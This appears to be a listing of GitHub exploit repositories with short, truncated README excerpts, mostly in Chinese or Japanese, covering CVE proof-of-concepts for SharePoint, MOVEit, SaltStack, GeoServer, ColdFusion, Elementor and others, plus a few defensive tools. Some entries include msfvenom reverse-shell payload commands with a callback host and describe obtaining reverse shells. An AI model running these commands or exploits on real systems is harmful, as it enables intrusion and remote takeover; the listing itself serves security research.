CVE-2025-53770-Scanner

CVE-2025-53770 扫描器 by DanSec 一款简单有效的侦察工具，用于识别潜在暴露于关键 SharePoint 漏洞 CVE-2025-53770 的系统。 !Warning 本工具仅供授权测试使用。 作者（DanSec）不承担 因未经授权扫描或使用导致的滥用或损失的任何责任。使用本工具前，请确保你拥有对任何域名或服务进行扫描的明确许可。 关于 CVE-2025-53770 CVE-2025-53770（“ToolShell”） 是一个影响本地 SharePoint Server 2016、2019 和订阅版（Subscription Edition）的关键漏洞。...

CVE-2025-29306-PoC-FoxCMS-RCE

CVE-2025-29306 - FoxCMS 远程代码执行漏洞利用工具 这是一个针对 CVE-2025-29306 的 Python 漏洞利用工具，该漏洞是 FoxCMS 中的一个远程代码执行漏洞。此工具支持测试单个目标或批量扫描多个主机。 功能特性 支持单个目标或批量扫描 多线程扫描，速度更快 详细输出命令执行结果 自动将结果保存到文件 实时进度报告 易读的漏洞主机汇总表 安装 git clone https://github.com/mattb709/CVE-2025-29306-PoC-FoxCMS-RCE .git cd CVE-2025-29306-PoC-FoxCMS-RC...

CVE-2024-22120-RCE-with-gopher

使用方法 python exploit.py --ip --sid --hostid --phpsessid --falsetime --truetime 概述 此漏洞利用工具旨在利用XXE（XML外部实体）漏洞。通过它，我读取了Web服务的后端代码，并发现了一个端点，在该端点上我可以使用gopher协议向易受远程代码执行攻击的Zabbix版本6.0.27发起内部请求。...

CVE-2024-8381

CVE-2024-8381 一个 SpiderMonkey 解释器类型混淆漏洞。 本仓库包含 Markdown 和幻灯片形式的分析，包括根本原因、PoC（概念验证）和漏洞利用。 遗憾的是，由于该漏洞的性质，漏洞利用仅在禁用 ASLR 时适用 。 幻灯片：Slides.pdf 分析文档：Analysis.md 演示 复现信息 操作系统：Ubuntu 24.04 GLIBC：Ubuntu GLIBC 2.39-0ubuntu8.3 Clang：version 18.1.7 taskcluster-EnF59hKVRyOsVdbwyVaiug，通过 ./mach bootstrap 安装 Gi...

exploit_laravel_cve-2018-15133

针对 CVE-2018-15133 的 Laravel 漏洞利用 该代码利用了 CVE-2018-15133，其基于 kosmiz 的 PoC 和针对此漏洞的 Metasploit 漏洞利用模块。我做这个主要是为了 Hack The Box 上的一台机器，因为当时不想用 Metasploit，同时也当作练习 Python 的一个借口。 以下摘自 CVE 的描述： 在 Laravel Framework 5.5.40 及更早版本、5.6.x 至 5.6.29 版本中，对可能不可信的 X-XSRF-TOKEN 值执行 unserialize 调用时，可能会导致远程代码执行。这涉及...

CVE-2023-34362

CVE-2023-34362 CVE-2023-34362およびMOVEit Transferに影響するPOC 技術的分析 脆弱性の技術的根本原因分析は、弊社ブログに掲載されています: https://www.horizon3.ai/moveit-transfer-cve-2023-34362-deep-dive-and-indicators-of-compromise/ 概要 このPOCは、SQLインジェクションを悪用してsysadmin APIアクセストークンを取得し、そのアクセスを使用してデシリアライゼーション呼び出しを悪用し、リモートコード実行を達成します。...

cheat-engine

Cheat Engine Cheat Engine is a development environment focused on modding games and applications for personal use. Download Latest Version Older versions Links Website Forum Forum alternate Forum alternate Wiki Social Media Reddit Twitter Donate Patreon PayPal Basic Build Instructions 1. Download...

Chrome-V8-RCE-CVE-2021-38003

Chrome-V8-RCE-CVE-2021-38003 CVE-2021-38003 漏洞利用代码提取自 https://twitter.com/WhichbufferArda/status/1609604183535284224...

cve-2020-11651

CVE-2020-11651 这是一个针对 CVE-2020-11651 的 POC，可以在 SaltStack Master 上获取预授权 RCE，以及/或所有相关 Minion。有关该问题的详细信息在此。不包含 2020-11652 的 POC。 通过创建 salt.cmd 运行器并使用 cmd.execcode 函数，在 Master 上获取命令执行权限。没有实现交互性，你需要获取一个反弹 Shell。 使用 在 Debian10 上测试，目标也是 Debian10 实例。需要 ncat 来接收和发送 Shell，以及 pip3 install salt 库用于传输。...

CVE-2024-36401

CVE-2024-36401 的 RCE CVE-2024-36401 GeoServer 的 POC。该 POC 将尝试从目标建立反向系统 shell。 概述 CVE-2024-36401 的 POC：针对 GeoServer 2.25.1、2.24.3 和 2.23.5 之前版本的 RCE。此 POC 基于 phith0n 的安全公告。 工作原理 1. 在您的机器上设置监听器，等待目标返回反向 shell。 2. 该 POC 将发送一个带有 payload 的 POST 请求。 3. 尝试在目标服务器上建立 shell。 4. 此技术假定目标上已安装 nc。 使用方法 该 POC...

CVE-2009-2265

バージョン: ColdFusion 8.0.1 CVE-2009-2265 msfvenom -p java/jspshellreversetcp LHOST=10.10.14.12 LPORT=4444 -f raw shell.jsp python upload.py 10.10.10.11 8500 shell.jsp 例 :...

ccs

コードクレデンシャルスキャナ このスクリプトは、大規模で多様なコードベースからハードコードされた認証情報、または設定ファイル内の認証情報をスキャンすることを目的としています。これらは深刻なセキュリティ問題を引き起こし、検出と管理が非常に困難になる可能性があります。 このスクリプトの具体的な焦点は、CI/CDパイプラインで開発チームが直接使用できるツールを作成し、コードに認証情報が存在する場合にチームに警告を発することで、この問題の是正プロセスを管理し、問題が発生したらすぐに修正できるようにすることです。...

CVE-2020-35682

CVE-2020-35682 SD-91948: CVE-2020-35682: ServiceDesk Plus 中 SAML 登录期间的身份验证绕过漏洞。（如 ManageEngine 所述）。如果目标 ServiceDesk Plus 11134 安装已启用 SAML 登录，并且您拥有低权限用户的凭据，则可以将权限提升为管理员并获得 RCE。 我决定发布此概念验证（POC），因为既没有公开的利用程序，也没有太多关于该漏洞利用的描述。代码虽然有些混乱，但可以工作。 安装 git clone https://github.com/its-arun/CVE-2020-35682.git ...

CVE-2017-12617

CVE-2017-12617 数人の人々のアイデアを組み合わせたコードです。クレジットを付与します。悪意を持って使用しないでください。...

CVE-2022-22963

CVE-2022-22963 spring cloud function sple rce spring cloud function 一键利用工具! by charis 博客https://charis3306.top/ 已打包为exe文件开箱即用 命令主题 usage: Spring-cloud-function-spel0.2.exe -h --check CHECK --route ROUTE --url URL --ip IP --port PORT --proxies PROXIES --cmd CMD spring cloud function 一键利用工具! by...

struts_rest_rce_fuzz-CVE-2017-9805-

此存储库没有 README。...

CVE-2022-1329

WordPress插件 - Elementor 3.6.0 3.6.1 3.6.2 远程代码执行 日期: 2023年4月16日 漏洞利用作者: Việt Hùng https://github.com/phanthibichtram12 供应商主页: https://elementor.com/ 软件链接: https://wordpress.org/plugins/elementor/advanced/ 向下滚动选择版本 版本: 3.6.0, 3.6.1, 3.62 测试环境: WordPress 5.9.3 不依赖操作系统，因为此漏洞利用不提供有效载荷 CVE :...

Writing-Sample-1

Log4j: CVE-2021-44228 Log4jの脆弱性と緩和策の概要 目次 1. エグゼクティブサマリー 2. 脆弱なエンドポイントおよびサービスの特定 3. 緩和策 A. 境界でのブロック B. サーバーエンドポイントへのEDR（エンドポイント検出・対応）の導入 C. 脆弱なエンタープライズアプリをF5の背後に配置 4. リソースと参考文献 エグゼクティブサマリー...

Worpress-CVE-2023-5360

CVE-2023-5360 CVE-2023-5360 自动Shell上传 WordPress Royal Elementor 1.3.78 Shell上传 访问 https://phankz.com...

CVE-2019-9766

CVE-2019-9766 利用 Free MP3 CD Ripper2.6 版本存在的缓冲区溢出漏洞，构造特殊的 MP3 文件，攻击者在使用播放器进行播放时，音频文件蜜饵利用缓冲区溢出漏洞执行任意代码。 复现 攻击机：kali201903 192.168.198.142 受害机：windows10 21H1 192.168.198.137 在受害机上安装好 Free MP3 CD Ripper 2.6，在 kali 机上利用 MSF 生成反向连接 shellcode： msfvenom -p windows/meterpreter/reversetcp...